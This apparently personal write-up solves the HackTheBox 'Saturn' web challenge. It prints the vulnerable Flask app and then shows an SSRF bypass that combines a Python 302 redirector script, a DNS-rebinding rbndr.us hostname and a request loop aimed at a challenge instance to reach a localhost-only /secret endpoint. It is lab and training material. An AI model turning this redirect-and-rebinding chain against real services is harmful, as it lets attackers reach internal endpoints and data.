HackTheBox - Challenges Saturn

03/11/2023 - 4 minutes

bypass challenges dns dns_rebinding hacking hackthebox ssrf web
  1. 1 Enumeration
    1. 1.1 app.py
  2. 2 Exploitation
    1. 2.1 SSRF url bypass
    2. 2.2 SSRF with HTTP tunneling
      1. 2.2.1 SSRF with DNS rebinding
    3. 2.3 SSRF combining DNS rebinding and HTTP tunneling

# Enumeration

# app.py

from flask import Flask, request, render_template
import requests
from safeurl import safeurl

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        url = request.form['url']
        try:
            su = safeurl.SafeURL()
            opt = safeurl.Options()
            opt.enableFollowLocation().setFollowLocationLimit(0)
            su.setOptions(opt)
            su.execute(url)
        except Exception as e:
            print(e)
            return render_template('index.html', error=f"Malicious URL detected: {e}")
        r = requests.get(url)
        return render_template('index.html', result=r.text)
    return render_template('index.html')


@app.route('/secret')
def secret():
    if request.remote_addr == '127.0.0.1':
        flag = ""
        with open('./flag.txt') as f:
            flag = f.readline()
        return render_template('secret.html', SECRET=flag)
    else:
        return render_template('forbidden.html'), 403


if __name__ == '__main__':
    app.run(host="0.0.0.0", port=1337, threaded=True)

I very simple flask app is all this challenge is. We can immidieitly spot a kind of SSRF as a service vulnerability. And the flag is retrieved by /secret if the request is coming from localhost. Ok then what prevents us from using the ssrf to request /secret, get the flag and get done with it?

First as always let's make a POC of having ssrf. Lets use the app to request any website at first to verify the proxying functionality

Ok so with google.com as the input we observe, that the DOM of google.com is returned back to us

Let's now try with our own attacker server 0sq8eorm.requestrepo.com

We do receive requests back, but weirdly enough we receive 2 DNS and 2 HTPP requests... That actually makes sense if we review the code!

try:
	su = safeurl.SafeURL()
	opt = safeurl.Options()
	opt.enableFollowLocation().setFollowLocationLimit(0)
	su.setOptions(opt)
	su.execute(url)
except Exception as e:
	print(e)
	return render_template('index.html', error=f"Malicious URL detected: {e}")
r = requests.get(url)

There is one request done from the safeurl package and there is one request done from the requests library.

Ok why don't we just request localhost/secret If we do that we get Malicious input detected as result from the application. That is the output in case of an error from safeurl. Thus i decided to build it locally and actually print the error and find out why exactly we error. Doing that we receive:

Malicious URL detected: Provided hostname 'hostname' resolves to '127.0.0.1', which matches a blacklisted value: ['0.0.0.0/8', '10.0.0.0/8', '100.64.0.0/10', '127.0.0.0/8', '169.254.0.0/16', '172.16.0.0/12', '192.0.0.0/29

# Exploitation

# SSRF url bypass

OK so apparently the url must not be contained in this blacklist. Well my first attempt was actually trying to pull of an ssrf bypass. hacktricks ssrf bypass list I tried many from the above list none of them, worked.

# SSRF with HTTP tunneling

Going to my next thing. Hacktrick ssrf page lists using an HTTP server as a tunnel, which basically allows us to bypass the blacklist as the url may be attacker.com, but attacker.com can be configured to redirect to http://localhost/secret

#!/usr/bin/env python3

# python3 ./redirector.py 8000 http://127.0.0.1/

import sys
from http.server import BaseHTTPRequestHandler, HTTPServer

if len(sys.argv) - 1 != 2:
    print("Usage: {} <port_number> <url>".format(sys.argv[0]))
    sys.exit()


class Redirect(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header("Location", sys.argv[2])
        self.end_headers()


HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()

The above simple script can be used like so

python3 sol.py 80 http://127.0.0.1:1337/secret

Lets try requesting our attacker controlled server which is running this script then. We receive the same output, though.... But why???

Malicious URL detected: Provided hostname 'hostname' resolves to '127.0.0.1', which matches a blacklisted value: ['0.0.0.0/8', '10.0.0.0/8', '100.64.0.0/10', '127.0.0.0/8', '169.254.0.0/16', '172.16.0.0/12', '192.0.0.0/29

Well it turns out it is because of

opt.enableFollowLocation().setFollowLocationLimit(0)

This tells the application to essentially follow all of the redirects and then evaluate, which unfortunately, means that it evaluates 127.0.0.1, hence the error is thrown.

# SSRF with DNS rebinding

Ok we have one more trick up our sleeve which turns out to be the closest to the solution. All hail DNS Rebinding. Well it should have been obvious as 2 requests are made, but lets see. DNS Rebinding is a TOCTOU attack, means Time Of Check, Time Of Use. This makes sense, because taking the example of our application a check request is firstly done and then the actual request. The vulnerability lies in the Ability of a dns to have a realy short TTL Time to live. Because this allows an automated script to hot-swap the IP the DNS will resolve to, very quickly, in between the check and actual requests. A very good website for such attacks is this It essentially generates a url with the ip-base16.ipbase16.rbndr.us for us So if we could make a request to valid-ip-base16.127.0.0.1-base16.rbndr.us, then in theory eventually after many attempts the check will be passed because of the valid-ip not being localhost, and then on the actual request, we hope for the DNS to swap in time to now resolve to 127.0.0.1 and us to get the flag. Once we try that we realise that the application is also running on port 1337, as such we need to make a request to rbndr.us:1337/secret to receive our flag, but that is our next obstacle.

Malicious URL detected: Provided port 'port' doesn't match whitelisted values: 80, 443, 8080

I was stuck here for a while, but I already knew enough to solve it. I had the idea after a while and it worked first-try... I would suggest, pausing here and trying to figure it out yourself.

# SSRF combining DNS rebinding and HTTP tunneling

Well the solution to this problem is to combine the two previously mentioned bypasses.

So make a server A that will respond with a redirect to the port 1337 as previously, to bypass the port check.

python3 sol.py 80 http://127.0.0.1:1337/secret

Then also make a rbndr.us url that will firstly resolve to another sever that will just respond, it must respond, to increase your chances, of having the payload work, as if it can't be resolved the SafeUrl request will hang, and you will lose your DNS switch timing. In addition as this kind of attacks need many attempts, for the timing to be correct another script was created!

import requests

# url = "http://127.0.0.1:1337"
url = "http://188.166.175.58:30557"
burp0_data = {"url": "http://bca6af3a.b95e2d4d.rbndr.us"}
while True:
    r = requests.post(url, data=burp0_data)
    print(r.text)

after running the script for some time, while greping for HTB, the flag can be seen in the logs